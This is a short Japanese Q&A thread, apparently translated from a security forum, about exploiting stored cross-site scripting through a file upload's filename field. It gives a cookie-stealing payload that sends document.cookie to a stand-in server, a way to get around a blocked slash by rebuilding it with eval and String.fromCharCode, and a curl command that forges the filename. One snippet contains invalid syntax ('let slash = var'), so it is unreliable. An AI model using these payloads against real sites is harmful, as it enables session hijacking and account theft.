ファイルアップロードのファイル名フィールドの脆弱性を悪用しようとしています。 Webアプリケーションはアップロードされたファイルのファイル名を適切に検証せず、その結果、保存されたクロスサイトスクリプティングの脆弱性が存在します。
私の問題は、以下のペイロードのようなものを含むようにファイルの名前を変更しようとするときはいつでも、ファイル名に/
を含めることができないことです。
document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;
アイデア/ペイロードはありますか?この脆弱性を利用することは可能ですか?
パケット傍受アプリケーションを使用して、送信されたパケットを編集する必要があります。したがって、/をファイル名の_などに置き換えて、パケットをインターセプトし、ヘッダーで変更します。
eval
と fromCharCode
の組み合わせを使用すると、/
を使用せずにJavaScriptを実行できます。
let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;");
アップロード時にファイル名をcurl
で変更できます:
curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"
しかし、これをPHP=でテストすると、最後の/
、おそらくフルパスが送信されたと想定し、ベース名に変換しています。